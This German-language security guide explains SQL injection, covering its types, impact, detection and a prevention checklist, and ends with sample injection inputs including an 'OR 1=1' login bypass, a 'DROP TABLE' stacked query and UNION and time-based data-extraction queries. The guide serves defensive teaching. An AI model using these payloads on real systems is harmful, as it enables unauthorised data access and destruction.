Unter den verschiedenen Schwachstellen, die in Webanwendungen existieren, gilt die SQL-Injection als eine der gefährlichsten, da sie es einem Angreifer ermöglichen kann, mit nur wenigen Zeilen böswillig geschriebenem Code unbefugten Zugriff auf wertvolle Daten zu erlangen. Dies kann zum Verlust von Kundeninformationen, Finanzdaten und geschützten Daten führen, was schwerwiegende Folgen haben kann: Datenlecks, finanzielle Verluste und Betriebsstörungen. Übrigens machte SQL-Injection im Jahr 2023 weltweit etwa 23 % der größten Schwachstellen in Webanwendungen aus, was die Branchen sehr anfällig macht.
Das Risiko einer SQL-Injection für ein Unternehmen kann nicht hoch genug eingeschätzt werden. Da Unternehmen für wichtige Funktionen zunehmend auf Webanwendungen angewiesen sind, wird der Schutz der Datenbank vor SQLi-Angriffen immer dringlicher. Mögliche Folgen eines solchen Angriffs sind finanzielle Verluste, Gerichtsverfahren, Bußgelder und langfristige Reputationsverluste. Ein robuster Schutz vor SQL-Injection bedeutet die Gewährleistung der Kontinuität der Betriebssicherheit und der Geschäftsintegrität.
In diesem Artikel erklären wir, was SQL-Injection ist, wie sie funktioniert, welche potenziellen Auswirkungen sie hat, welche verschiedenen Arten von SQL-Injection es gibt und vor allem, wie man SQL-Injection-Angriffe verhindern kann. Am Ende dieses Leitfadens werden Sie ein umfassendes Verständnis davon haben, wie SQL-Injection funktioniert, wie Hacker diese Schwachstellen ausnutzen und wie Unternehmen ihre Webanwendungen und Datenbanken schützen können.
Was ist SQL-Injection (SQLi)?
SQL-Injection (SQLi) ist eine Sicherheitslücke, die es Angreifern ermöglicht, bösartigen SQL-Code in die Eingabefelder einer Webanwendung einzuschleusen, wodurch die Datenbank manipuliert werden kann. Dies tritt in der Regel auf, wenn Eingaben von Benutzern nicht ordnungsgemäß bereinigt werden und somit schädliche Befehle ausgeführt werden können. Anstatt beispielsweise authentische Daten abzurufen, kann ein Angreifer SQL-Befehle in das Anmeldefeld eingeben und so das Netzwerk kompromittieren.
SQL-Injection-Schwachstellen treten häufig in Webanwendungen auf, in denen SQL-Abfragen dynamisch auf der Grundlage von Benutzereingaben generiert werden. Wenn eine Anwendung jedoch unvorsichtigerweise auf diese Eingaben vertraut, kann ein Angreifer nach Belieben SQL-Anweisungen ausführen, um Daten abzurufen oder Änderungen an der Datenbank vorzunehmen. Infolgedessen können die Angreifer persönliche Daten in die Hände bekommen, Einträge ändern oder die Datenbank vollständig löschen, was rücksichtslosEines der alarmierendsten Merkmale von SQL-Injektionen ist die Tatsache, dass sie nach wie vor weit verbreitet sind, obwohl diese Art von Sicherheitslücke bereits seit geraumer Zeit bekannt ist. Laut dem Bericht "State of the Internetamp;#8221; aus dem Jahr 2020 machen SQLi fast 80 % aller Angriffe auf Webanwendungen im Einzelhandel, in der Reisebranche und im Gastgewerbe von 2018 bis 2020 aus. Darüber hinaus sind Webanwendungen, die Benutzereingaben über ein Anmeldeformular, ein Suchfeld oder direkt über URLs zulassen, am anfälligsten für SQLi-Angriffe. Da SQL weit verbreitet ist, zeigt dies eine große Angriffsfläche aufzeigt. Daher sollten Unternehmen besonders darauf achten, diese Schwachstellen zu sichern.
Wichtige Merkmale von SQL-Injection:
- Ausnutzung von Benutzereingaben: Die Angreifer injizieren bösartigen SQL-Code in Anwendungen, die Benutzereingaben nicht ordnungsgemäß bereinigen oder validieren.
- Datenbankmanipulation: Nach einer erfolgreichen SQL-Injection manipulieren die Angreifer die Datenbanken, indem sie sensible Daten wie Kundendaten oder sogar Finanzinformationen ändern, löschen oder abrufen.
- Multi-Vektor: SQLi kann an einer oder mehreren Stellen der Webanwendung auftreten, z. B. auf Anmeldeseiten, in Suchleisten oder sogar in URL-Parametern, wodurch Hacker mehrere Vektoren zur Verfügung stehen, über die sie das System erfolgreich kompromittieren können.
- Zugriff auf sensible Daten: Nach dem unbefugten Zugriff extrahiert ein Angreifer kritische Informationen, die wichtige Daten eines Unternehmens oder private Informationen seiner Kunden offenlegen können.
- Allgegenwärtig und hartnäckig: SQL-Injection ist nach wie vor in den meisten Branchen weit verbreitet, mit Ausnahme derjenigen, die mit vielen Datentransaktionen zu tun haben. Ohne Sicherheitsmaßnahmen besteht eine hohe Wahrscheinlichkeit, dass Unternehmen schwere finanzielle Verluste erleiden, ihr Ruf geschädigt wird und sie möglicherweise mit Rechtsstreitigkeiten konfrontiert werden.
Welche Auswirkungen hat ein erfolgreicher SQL-Injection-Angriff?
Jedes Unternehmen kann bestätigen, dass die Folgen eines erfolgreichen Angriffs mit SQL-Injection katastrophal sind. Neben vielen anderen möglichen Folgen kann es zu Diebstahl sensibler Daten, Betriebsstörungen, Rufschädigung und sogar rechtlichen Schritten kommen, wenn ein Angreifer sich mithilfe einer SQL-Injection unbefugten Zugriff auf eine Datenbank verschafft. Schauen wir uns das genauer an:
- Datendiebstahl: Zu den unmittelbaren Gefahren eines SQL-Injection-Angriffs gehört der Datendiebstahl. Das heißt, es besteht die Möglichkeit, dass ein Angreifer personenbezogene Daten, Listen mit Benutzernamen, Passwörtern, Finanzdaten und mehr abgreift. Gestohlene Daten können im Dark Web verkauft oder für Identitätsdiebstahl und Betrug verwendet werden. Für Unternehmen führen Datenverstöße oft zu enormen finanziellen Verlusten und Rechtsstreitigkeiten.
- Datenverlust: Neben dem Datendiebstahl können die Angreifer wichtige Informationen aus der Datenbank entfernen. Dazu gehören das Löschen von Kundeninformationen, Finanzdaten und internen Dokumenten. Ein solcher Verlust bringt die Geschäftsaktivitäten immer durcheinander und kann zu Ausfallzeiten führen. SQL-Injection-Angriffe sind ziemlich teuer und zeitaufwändig zu beheben, wenn keine ordnungsgemäßen Backups erstellt wurden.
- Reputationsschaden: Im schlimmsten Fall verlieren Kunden sofort das Vertrauen, wenn sie erfahren, dass eine SQL-Injection-Sicherheitsverletzung aufgedeckt wurde, die auch Informationen über sie betrifft. Kunden würden dann die Plattform verlassen oder verklagen und den Markennamen in den Augen des Marktes ruinieren. Wenn Kunden jegliches Vertrauen in ein Unternehmen verlieren, kann es viele Jahre dauern, bis dessen Ruf auf dem Markt wiederhergestellt ist.
- Behördliche Geldstrafen: Wenn ein SQL-Injection-Angriff zum Verlust sensibler Daten führt, können Unternehmen, die strengen Datenschutzbestimmungen wie der DSGVO, HIPAA oder PCI DSS, mit hohen Geldstrafen belegt werden. Darüber hinaus kann es weitere Aufsichtsbehörden geben, die stets strenge Strafen verhängen, wodurch sich die Kosten der Sicherheitsverletzung weiter erhöhen. Darüber hinaus können Unternehmen auch gezwungen sein, alle betroffenen Kunden über die Situation zu informieren, was wiederum zu einem noch größeren Reputationsschaden führen kann.
- Systemübernahme: In einigen extremen Fällen können SQL-Injektionen Angreifern die administrative Kontrolle über das gesamte System oder dessen Besitz ermöglichen. Die Angreifer können auch die vollständige Kontrolle über das System übernehmen, wodurch sie die Datenbank, die Anwendung und sogar andere verbundene Systeme manipulieren können. Solche Übernahmen sind katastrophal, da das System von Grund auf neu aufgebaut werden muss, um es wieder funktionsfähig zu machen.
Wie funktioniert ein SQL-Injection-Angriff?
Das Verständnis der Funktionsweise von SQL-Injection kann Entwicklern und Unternehmen helfen, eine der wichtigsten Fragen zu beantworten: Wie kann man SQL-Injection vermeiden und ihre Systeme schützen? Die Manipulation von unzureichend validierten Benutzereingaben, die in SQL-Abfragen eingebettet sind, die mit der Datenbank interagieren, ist das Herzstück eines SQL-Injection-Angriffs. So funktioniert es:
- Zielidentifizierung: Während eines Angriffs identifizieren die Angreifer ein potenzielles Ziel, bei dem es sich um eine Webanwendung handeln kann, die mit einer Backend-Datenbank kommuniziert. Der Angreifer sucht nach Eingabefeldern, URLs oder Formularen, über die Daten an den Server gesendet werden. Häufige Ziele sind Anmeldeseiten, Suchleisten und Kontaktformulare, in denen Benutzereingaben ohne vorherige Bereinigung gesendet werden.
- Einschleusen von bösartigem Code: Sobald eine Schwachstelle identifiziert wurde, injizieren Angreifer bösartigen SQL-Code in das Eingabefeld. Etwas so Einfaches wie das Hinzufügen von "OR 1 = 1" zu einem Anmeldeformular kann die Authentifizierung umgehen, indem die Anwendung dazu gebracht wird, dies als gültige Abfrage zu akzeptieren, wodurch die Ausführung der SQL-Abfrage durch die Datenbank manipuliert wird.
- Ausführung von bösartigem Code: Wenn die Eingaben des Benutzers von der Anwendung nicht bereinigt oder validiert werden, wird der SQL-Code eines Angreifers zusammen mit der gültigen Abfrage von der Datenbank ausgeführt. Dies ist eine der Möglichkeiten, mit denen Angreifer Sicherheitskontrollen umgehen und in den meisten Fällen direkten Zugriff auf sensible Informationen erhalten und möglicherweise weitere Änderungen an Datensätzen in der Datenbank vornehmen können.
- Datennutzung: Nachdem der Angreifer den bösartigen SQL-Code injiziert und ausgeführt hat, kann er die Datenbank auf verschiedene Weise ausnutzen: Er kann sensible Daten stehlen, die Datenbank durch Einfügen und Löschen von Datensätzen manipulieren und manchmal auch seine Berechtigungen erweitern, wodurch er die Kontrolle über das gesamte System erlangen kann.
Arten von SQL-Injection
SQL-Injection-Angriffe können sich hinsichtlich der Art und Weise unterscheiden, wie der bösartige Code injiziert wird und wie die zu extrahierenden Informationen tatsächlich extrahiert werden. Im Folgenden werden die vier Hauptarten von SQL-Injection-Angriffen aufgeführt, die unterschiedliche Methoden zur Erkennung und Abwehr erfordern:.
- In-Band-SQL-Injection: Bei dieser Art von SQL-Injection-Angriff injiziert der Angreifer bösartige SQL-Befehle und kann die Ergebnisse über denselben Kommunikationskanal anzeigen. Beispiel: Ein Angreifer gibt SQL-Code in ein Suchfeld ein und sieht die Ergebnisse sofort auf der Webseite. Diese Art der Injektion ist für Hacker sicherlich die einfachste, da sie sofortiges Feedback liefert.
- Blinde SQL-Injection: Bei einer blinden SQL-Injection erhält der Angreifer kein sofortiges Feedback von der Datenbank. Stattdessen leitet er Informationen aus der Antwort oder dem Verhalten der Anwendung ab. Beispielsweise könnte ein Angreifer bedingte Anweisungen verwenden, um anhand der Antwort der Anwendung festzustellen, ob bestimmte Daten in der Datenbank vorhanden sind, auch ohne direkten Zugriff auf die Datenbankausgabe.
- Out-of-Band-SQL-Injection: Bei einer Out-of-Band-SQL-Injection nutzt der Angreifer einen Remote-Server, um die Ergebnisse der böswilligen Abfrage zu sammeln. Tatsächlich würde der Angreifer einen anderen Kanal einrichten – beispielsweise HTTP oder DNS –, um Daten aus dem kompromittierten System zu exfiltrieren, anstatt eine sofortige Antwort in Betracht zu ziehen. Diese Methode ist weniger verbreitet und in der Regel schwieriger auszuführen, aber sehr heimlich.
- SQL-Injection zweiter Ordnung: Diese Art von Angriff tritt auf, wenn der bösartige Code injiziert und in der Datenbank gespeichert wird, um zu einem späteren Zeitpunkt ausgeführt zu werden. Der Code bleibt inaktiv, bis er durch ein anderes Ereignis ausgelöst wird, bei dem es sich um eine administrative Aktion handeln kann. SQL-Injections zweiter Ordnung sind viel schwieriger zu erkennen, da der Angriff erst lange nach der ursprünglichen Code-Injektion stattfindet; oft ist es auch schwierig, die ursprüngliche Quelle zurückzuverfolgen.
Wie nutzen Hacker SQL-Injection-Schwachstellen aus?
Hacker suchen systematisch nach Schwachstellen, die durch SQL-Injection ausgenutzt werden können, und nutzen diese. Wenn Unternehmen ihre wichtigsten Methoden verstehen, können sie wirksamere Maßnahmen zu ihrer Abwehr ergreifen. So nutzen Hacker ausnutzen SQLi-Schwachstellen:
- Scannen nach Schwachstellen: Angreifer beginnen in der Regel damit, eine Webanwendung nach Schwachstellen zu scannen. Tools automatisieren diesen Prozess, um Schwachstellen zu finden, die möglicherweise Felder enthalten, die nicht bereinigte Eingaben akzeptieren. Dieser Schritt hilft dem Hacker, potenzielle Angriffspunkte zu identifizieren.
- Erstellen bösartiger Abfragen: Sobald Hacker ein schwaches Eingabefeld gefunden haben, erstellen sie bösartige SQL-Abfragen, die darauf abzielen, die Schwachstelle auszunutzen. Die Abfrage wird so gestaltet, dass sie eine Datenbank dazu manipulieren kann, Befehle auszuführen, die vom Entwickler nicht vorgesehen sind, und dem Hacker das Abrufen, Ändern oder Löschen von Daten zu ermöglichen.
- Ausführen von SQL-Code: Sobald die Abfrage erstellt ist, senden die Angreifer diese Abfrage über die in der Anwendung verfügbaren Eingabefelder. Falls die Anwendung solche Eingaben nicht ordnungsgemäß validiert, führt die Datenbank den bösartigen Code aus. Dadurch erhält der Angreifer unberechtigten Zugriff auf sensible Daten oder administrative Kontrollen.
- Privilegieneskalation: Nach einer erfolgreichen SQL-Injection versuchen einige Angreifer, ihre Privilegien zu erweitern. Durch Manipulation der Datenbank können sie sich Administratorrechte verschaffen, die ihnen nicht nur die Kontrolle über die Datenbank selbst, sondern sogar über das gesamte System ermöglichen. Sie können Malware installieren, um Zugriff auf andere interne Systeme zu erhalten und noch größeren Schaden anzurichten.
Wirksame Techniken zur Verhinderung von SQL-Injection-Angriffen
Lassen Sie uns nun diskutieren, wie wir SQL-Injection-Angriffe verhindern können. Die Prävention von SQL-Injection-Angriffen erfordert einen proaktiven Ansatz zur Aufrechterhaltung der Sicherheit Ihrer Webanwendungen. Die Wahrscheinlichkeit eines Angriffs kann durch die Implementierung der folgenden Techniken erheblich verringert werden:
- Vorbereitete Anweisungen und parametrisierte Abfragen: Der wahrscheinlich beste Weg, um SQL-Injection-Angriffe zu vermeiden, ist die Verwendung vorbereiteter Anweisungen und parametrisierter Abfragen. In diesem Fall wird der SQL-Code im Voraus definiert, und die von Benutzern bereitgestellten Daten müssen nur als Daten und niemals als ausführbarer Code behandelt werden. Auf diese Weise kann selbst bei böswilligen Eingaben die Struktur des SQL-Befehls nicht beeinträchtigt werden.
- Eingabevalidierung: Die Eingabevalidierung stellt sicher, dass die von Benutzern eingegebenen Daten dem erwarteten Format entsprechen. Durch die Festlegung strenger Regeln für die Art der Daten, die eingegeben werden dürfen (z. B. nur Zahlen in einem Preisfeld), können Sie verhindern, dass potenziell schädliche Eingaben in Ihre Datenbank gelangen. Die Eingabevalidierung ist eine wichtige Sicherheitsebene zur Verhinderung von SQL-Injektionen.
- Web Application Firewall oder WAF: Einfach ausgedrückt fungiert die WAF als Barriere zwischen Ihrer Anwendung und dem Internet und filtert bösartigen Datenverkehr heraus. Mithilfe von maschinellem Lernen sind moderne WAFs in der Lage, ungewöhnliche Muster wie Versuche von SQL-Injektionen zu erkennen und zu blockieren, bevor sie Ihre Anwendung erreichen.
- Datenbereinigung: Datenbereinigung bezieht sich auf die Bereinigung der Eingabedaten durch Entfernen oder Escapen von Sonderzeichen wie Anführungszeichen und Semikolons, die SQL-Befehle auslösen können. Wenn alle Benutzereingaben korrekt bereinigt sind, wird die Möglichkeit ausgeschlossen, dass ein Angreifer Sonderzeichen verwendet, um böswillige SQL-Abfragen auszuführen.
- Prinzip der geringsten Privilegien: Das Prinzip der geringsten Privilegien beschränkt die Zugriffsebenen für Benutzer auf das Notwendige. Aus diesem Grund wird die Erfolgsquote von SQL-Injection-Angriffen minimal. Ein Beispiel hierfür wäre, dass ein Benutzer, der Leserechte für die Datenbank benötigt, keine Berechtigungen haben sollte, die es ihm ermöglichen, Datensätze in der Datenbank zu löschen oder zu ändern.
Wie lassen sich SQL-Injection-Schwachstellen erkennen?
Die proaktive Erkennung von SQL-Injection-Schwachstellen schützt Ihr System. Unternehmen können einige der folgenden Methoden anwenden, um Schwachstellen in ihren Webanwendungen zu finden:
- Automatisierte Scanner: Die automatisierten Scan-Tools tun so, als würden sie bösartigen SQL-Code in Eingabefelder injizieren, wie bei SQL-Injection-Angriffen, und analysieren dann die Antwort der Anwendung. Sie sind sehr effektiv, um große Anwendungen schnell zu scannen und Schwachstellen zu melden. Einige der beliebtesten automatisierten Scan-Tools sind Burp Suite, SQLMap, Acunetix und OWASP ZAP, mit denen sich häufige Schwachstellen wie SQL-Injection effektiv identifizieren lassen. Die Einschränkung des automatisierten Scannens besteht darin, dass es zwar ein guter erster Schritt zur Erkennung von Sicherheitsproblemen ist, aber mehrere Mängel aufweist. Komplexe Schwachstellen, die auf Logik basieren, werden im Allgemeinen übersehen, und es kommt häufig zu Fehlalarmen, die zu unnötigen Korrekturmaßnahmen führen. Automatisierte Scans müssen daher durch andere Maßnahmen ergänzt werden.
- Manuelle Codeüberprüfungen: Während automatisierte Scanner eine hohe Geschwindigkeit bieten, bieten manuelle Codeüberprüfungen eine größere Tiefe. Sicherheitsexperten können den Code überprüfen, um Sicherheitslücken aufzudecken, die von automatisierten Testtools möglicherweise nicht erkannt werden, sei es komplexe Logikfehler oder kontextspezifische Schwachstellen. Mit einer gründlichen manuellen Überprüfung lassen sich potenzielle Angriffsvektoren aufdecken, die mit automatisierten Tools nur sehr schwer zu erkennen sind, beispielsweise die unsachgemäße Verwendung von Benutzereingaben in der Anwendung. All dies sind jedoch ressourcen- und zeitaufwändige Aktivitäten. Daher sollten Sie manuelle Überprüfungen in automatisierte Scan-Tools integrieren, anstatt diese zu ersetzen.
- Penetrationstests: Diese Form der Sicherheitsprüfung erfordert die Beauftragung professioneller Hacker, die reale SQL-Injection-Angriffe auf ein Live-System simulieren. Dieser Ansatz bietet einen realistischen, detaillierten Einblick in die Widerstandsfähigkeit Ihrer Webanwendung gegenüber gezielten Angriffen. Dazu gehören insbesondere Penetrationstests, die Probleme aufdecken, die automatisierte Tools und manuelle Überprüfungen übersehen können, da sie eine tatsächliche gegnerische Sichtweise darauf bieten, wie Schwachstellen ausgenutzt werden können. Diese Methode ist zwar sehr effektiv, aber auch teurer als andere Maßnahmen und erfordert spezielle Fähigkeiten. Penetrationstests eignen sich daher eher für gezielte Sicherheitsbewertungen als für die kontinuierliche Überwachung der Systemsicherheit.
- Schwachstellenbewertungen: Die Durchführung regelmäßiger Schwachstellenbewertungen ist äußerst wichtig, um Sicherheitslücken zu finden, die in einer Webanwendung auftreten können, darunter auch SQL-Injections. Andererseits umfassen Schwachstellenbewertungen gründlichere Überprüfungen als automatisierte Scans, z. B. Überprüfungen der Datenbankkonfiguration, Eingabevalidierungspraktiken und Benutzerberechtigungen. Grundsätzlich werden Bewertungen nach einem Zeitplan durchgeführt, damit neu auftretende Schwachstellen im Zuge der Weiterentwicklung der Codebasen oder bei zunehmender Komplexität der Anwendungen aufgedeckt werden können. Die regelmäßige Durchführung von Schwachstellenbewertungen bietet einem Unternehmen die Möglichkeit, sich über neu auftretende Bedrohungen und/oder Angriffsvektoren auf dem Laufenden zu halten.
- Bedrohungsanalyse: Bei der Bedrohungsanalyse wird ermittelt, wie potenzielle Angreifer SQL-Injection-Schwachstellen im System ausnutzen könnten. Die Bedrohungsmodellierung bei F5 hilft Sicherheitsteams dabei, die wahrscheinlichsten Angriffsvektoren zu identifizieren, abhängig von der Architektur der Anwendung, dem Speicherort sensibler Daten und der Art der Benutzerinteraktion mit dem System. Bei dieser Art der Analyse werden Schwachstellen nach ihrer potenziellen Auswirkung und der Wahrscheinlichkeit ihrer Ausnutzung priorisiert, um sie zu beheben. Die Bedrohungsanalyse kann auch zur Identifizierung von Einstiegspunkten für SQL-Injection verwendet werden, sodass Teams eine Vorstellung davon bekommen, wo sie ansetzen sollten.
- Verfolgung von Verhaltensmustern der Benutzer: Die Überwachung des Benutzerverhaltens ist eine ziemlich fortschrittliche Form der Sicherheit, mit der Anzeichen für einen laufenden SQL-Injection-Angriff erkannt werden können. Diese Form der Sicherheit bietet Unternehmen die Möglichkeit, Benutzeraktivitäten auf Abweichungen von den üblichen Aktivitätsmustern zu überwachen. So kann das Unternehmen beispielsweise erkennen, wenn legitime umstrittene Benutzerkonten sensible Abfragen durchführen oder sensible Bereiche der Datenbank bearbeiten. Solche Anomalien können auf eine Kompromittierung des Kontos oder erfolgreiche SQL-Injection-Exploits hindeuten. Tools für die Benutzerverhaltensanalyse (UBA) können diese Anomalien in Echtzeit melden, sodass sofort eingegriffen werden kann, bevor größerer Schaden entsteht. Die Verhaltensüberwachung bildet eine Sicherheitsebene, die die traditionellen Methoden zur Erkennung von Schwachstellen ergänzt.
Checkliste zur Verhinderung von SQL-Injection-Angriffen (Best Practices)
SQL-Injection-Angriffe können nur durch einen proaktiven Sicherheitsansatz mit mehreren Ebenen verhindert werden. Hier finden Sie eine detaillierte Checkliste mit bewährten Verfahren, die Ihnen helfen können, Ihre Webanwendungen und Datenbanken vor diesen gefährlichen Angriffen zu schützen:
Nr. 1: Verwenden Sie vorbereitete Anweisungen und parametrisierte Abfragen
Was ist das? Vorbereitete Anweisungen trennen den SQL-Code von Benutzereingaben, sodass die Datenbank alle Eingaben ausschließlich als Daten und niemals als ausführbare Befehle interpretiert. Auf diese Weise werden SQL-Injection-Versuche wirksam eingeschränkt.
Warum ist das wichtig? Vorbereitete Anweisungen schützen Benutzereingaben, indem sie niemals injizierte SQL-Befehle vom Benutzer zulassen.
Zu ergreifende Maßnahmen: Verknüpfen Sie Benutzereingaben niemals direkt mit SQL-Abfragen. Andererseits sollte der Anwendungscode beim Schreiben in Java, .NET oder anderen Sprachen parametrisierte Abfragen verwenden.
#2. Bereinigen und validieren Sie alle Benutzereingaben
Was ist das? Die Bereinigung und Validierung von Eingaben sind Methoden zum Testen von benutzerdefinierten Daten, um sicherzustellen, dass sie das richtige Format haben, und um möglicherweise schädliche Zeichen zu entfernen.
Warum ist das wichtig? Angreifer injizieren häufig bösartige SQL-Befehle, indem sie nicht bereinigte Eingaben ausnutzen. Eine gute Eingabevalidierung reduziert dieses Risiko erheblich.
Zu ergreifende Maßnahmen: Die INPUT-Validierung wird für alle Eingabefelder, einschließlich Anmeldeformularen und URLs, zwingend implementiert. Dazu gehören die Überprüfung von Datentypen und Formaten sowie die Escape-Funktion für Sonderzeichen, die potenziellen Schaden verursachen können.
#3. Zugriff mit geringsten Rechten:
Was ist das? Der Zugriff mit geringsten Rechten erlaubt nur diejenigen Rechte, die für die Erfüllung von Aufgaben oder Funktionen unbedingt erforderlich sind. Dadurch wird der Schaden, den eine Sicherheitsverletzung verursachen kann, weiter reduziert.
Wie hilft das? Durch die Reduzierung der Datenbankberechtigungen kann sichergestellt werden, dass ein Angreifer, selbst wenn er SQLi ausführen kann, keine Informationen außerhalb seiner festgelegten Grenzen einsehen oder ändern kann.
Zu ergreifende Maßnahmen: Die Berechtigungen in der Datenbank müssen regelmäßig überprüft werden, um sicherzustellen, dass nur minimale Berechtigungen erteilt werden. Der Administratorzugriff sollte auf diejenigen Benutzer beschränkt werden, die ihn benötigen.
#4. WAF: Web Application Firewall
Was ist das? Eine Web Application Firewall ist ein Gerät, das HTTP-Anfragen bereinigt und überwacht. Es verhindert, dass bösartiger Datenverkehr, wie z. B. SQL-Injection-Versuche, jemals Ihre Anwendung erreicht.
Was ist der Vorteil? WAFs bieten eine zusätzliche Verteidigungsebene, indem sie den eingehenden Datenverkehr auf bekannte SQL-Injection-Angriffsmuster überprüfen und diese in Echtzeit blockieren.
Zu ergreifende Maßnahmen: Setzen Sie eine WAF ein, die SQLi-Versuche blockieren kann. Konfigurieren Sie die WAF so, dass sie bekannte SQL-Injection-Techniken und anomales Datenverkehrverhalten erkennt.
#5. Führen Sie regelmäßige Sicherheitsaudits durch
Was ist das? Ein Sicherheitsaudit bedeutet, eine Anwendung anhand gängiger Sicherheitspraktiken, Codes und Konfigurationen zu testen, um potenzielle Schwachstellen zu erkennen.
Warum ist das wichtig? Durch regelmäßige Audits wird sichergestellt, dass neu aufgetretene Schwachstellen behoben werden, bevor Angreifer die Möglichkeit haben, sie auszunutzen.
Zu ergreifende Maßnahmen: Planen Sie automatisierte Scans und häufige manuelle Überprüfungen ein. Beziehen Sie SAST, DAST und andere Tools für Penetrationstests in die Audits ein.
#6. Führen Sie Bedrohungsmodellierungen und Schwachstellenbewertungen durch
Was ist das? Bedrohungsmodellierung bedeutet, die Vorgehensweise eines Angreifers nachzuahmen, um mögliche Angriffsvektoren zu identifizieren, während Schwachstellenbewertung die aktive Suche nach Sicherheitslücken bedeutet, die in den Fokus gerückt und behoben werden.
Wie hilft das? Die Bedrohungsmodellierung hilft Ihnen dabei, die kritischsten Schwachstellen zu priorisieren, damit Sie proaktive Maßnahmen zu deren Behebung ergreifen können.
Zu ergreifende Maßnahmen: Beziehen Sie die Bedrohungsmodellierung in Ihren Entwicklungslebenszyklus ein. Sie müssen regelmäßig Schwachstellenanalysen durchführen, um Bedrohungen rechtzeitig zu erkennen und wirksam zu mindern, bevor sie von Angreifern ausgenutzt werden können.
#7. Erkennung von Anomalien im Benutzerverhalten
Was ist das? Tools zur Analyse des Benutzerverhaltens (User Behavior Analytics, UBA) verfolgen Benutzeraktivitäten und warnen bei Anomalien, wie z. B. Abfragen, die normalerweise niemand ausführt, um auf eine Kompromittierung oder einen versuchten SQLi hinzuweisen.
Warum sollte das Verhalten überwacht werden? Ein abnormaler Benutzer kann bei der Erkennung von SQL-Injection-Angriffen früher identifiziert werden, um weiteren Schaden zu verhindern.
Zu ergreifende Maßnahmen: Implementieren Sie UEBA-Tools, um Benutzeraktivitäten zu überwachen, verdächtiges Verhalten zu markieren und zu untersuchen, ob ein aktiver Angriff stattfindet.
#8. Abfragen begrenzen und paginieren
Was ist das? Die Begrenzung und Paginierung schränkt die Anzahl der von einer Datenbankabfrage zurückgegebenen Datensätze weiter ein und ist nützlich, um bei einer SQL-Injection die Extraktion großer Datenmengen zu verhindern.
Wie schützt Sie das? Dadurch wird verhindert, dass Angreifer, denen es gelungen ist, eine böswillige Abfrage auszuführen, Unmengen von Daten abrufen können, da die Anzahl der zurückgegebenen Zeilen begrenzt wird.
Zu ergreifende Maßnahmen: Verwenden Sie SQL-LIMIT- und OFFSET-Klauseln, um die Datenmenge zu begrenzen, die jede Abfrage zurückgibt. Durch die Begrenzung der Abfragemöglichkeiten eines Angreifers wird der potenzielle Schaden eines erfolgreichen Angriffs begrenzt.
#9. Halten Sie Ihre Software auf dem neuesten Stand und installieren Sie Patches
Was ist das? Durch regelmäßige Software-Updates werden bekannte Schwachstellen gepatcht. Dadurch wird das System weniger anfällig für Angriffe.
Warum regelmäßig aktualisieren? Viele SQLi-Schwachstellen entstehen durch nicht gepatchte Software. Wenn Sie Ihre Systeme auf dem neuesten Stand halten, schließen Sie potenzielle Angriffsvektoren.
Zu ergreifende Maßnahmen: Entwickeln Sie eine Patch-Management-Strategie, die einheitliche Updates für Webanwendungen, Bibliotheken und Datenbanksysteme auf die neuesten sicheren Versionen bereitstellt.
Beispiele für SQL-Injection
SQL-Injection ist eine der häufigsten, aber auch gefährlichsten Schwachstellen, die es einem Angreifer ermöglicht, Datenbankabfragen zu manipulieren, indem er über Benutzereingaben bösartigen SQL-Code einschleust. Es versteht sich von selbst, dass Entwickler und Sicherheitsexperten die verschiedenen Arten von SQL-Injection verstehen müssen, um eine geeignete Verteidigungsstrategie zu entwickeln. Im Folgenden finden Sie einige Beispiele für Techniken im Zusammenhang mit SQL-Injection, die jeweils unterschiedliche Methoden der Ausnutzung aufweisen.
1. Authentifizierung als Administrator
Bei einem solchen Angriff manipuliert ein Angreifer ein Formular, um Authentifizierungsprüfungen zu umgehen. Durch die Injektion von "password’ OR 1=1 wird die Abfrage zu SELECT id FROM users WHERE username=’user’ AND password=’password’ OR 1=1. Da 1=1 immer wahr ist, erhält der Angreifer Administratorzugriff und umgeht somit die Anforderung gültiger Anmeldedaten. Dieser Angriff belegt die Schwachstelle, die entsteht, wenn parametrisierte Abfragen nicht verwendet werden.
2. Zugriff auf sensible Informationen
SQL kann in eine Abfrage injiziert werden, um sensible Daten aus der Datenbank abzurufen. Ein Beispiel hierfür ist die Injektion von "Widget’ OR 1=1 in eine Produktsuchabfrage wie SELECT * FROM items WHERE owner = ‘John’ AND item name = ‘Widget’ OR 1=1 zwingt die Datenbank dazu, alle Zeilen zurückzugeben. Es ist leicht zu erkennen, dass dies die Beschränkungen für den unbefugten Zugriff auf vertrauliche Daten umgeht.
3. Gestapelte Abfragen zum Löschen
Bei einem gestapelten Abfrageangriff werden mehrere Abfragen gleichzeitig ausgeführt. Mit der Injektion von 20; DROP TABLE Products; hätte ein Angreifer beispielsweise eine Abfrage wie SELECT * FROM Products WHERE product_id = 20 in eine Abfrage umgewandelt, die die gesamte Produkttabelle löschen würde. Dies zeigt die Gefahr, die entsteht, wenn mehrere SQL-Anweisungen gleichzeitig ausgeführt werden dürfen.
4. Union-basierter Angriff
Der Angreifer kann den UNION-Operator verwenden, um mehrere Abfrageergebnisse zu kombinieren. Dazu kann ein Angreifer jede Produktabfrage wie SELECT name, price FROM products WHERE category = ‘shoes’ ändern, indem er UNION ALL SELECT username, password FROM users — hinzufügt. Diese Abfrage gibt die Benutzernamen und Passwörter zusammen mit den Produktinformationen aus.
5. Blind SQL Injection
Bei einer Blind SQL Injection haben die Angreifer keinen direkten Zugriff auf die Abfrageergebnisse, können jedoch anhand des Anwendungsverhaltens Rückschlüsse auf Informationen ziehen. Nehmen wir folgende Abfrage an: SELECT FROM users WHERE id = ‘$id’ AND IF((SELECT COUNT() FROM users)>10, SLEEP(5), 0); Wenn die Seite länger braucht, um zu antworten, zeigt dies, dass die Bedingung wahr ist. Auf diese Weise kann ein Angreifer, selbst wenn er die Ausgabe nicht sieht, Informationen über die Datenbanksätze erhalten.
6. Fehlerbasierte SQL-Injection
Bei diesem Angriff werden Datenbankfehlermeldungen genutzt, um Informationen zu erhalten. Beispielsweise eine Abfrage wie die folgende: SELECT * FROM products WHERE id = 1 AND CONVERT(INT, (SELECT @@version)); – kann eine Fehlermeldung erzwingen, die entweder die SQL-Version oder strukturelle Informationen über die Datenbank preisgibt. Diese Hinweise können dem Angreifer Informationen liefern, um nachfolgende Exploits zu entwickeln.
7. Boolesche SQL-Injection
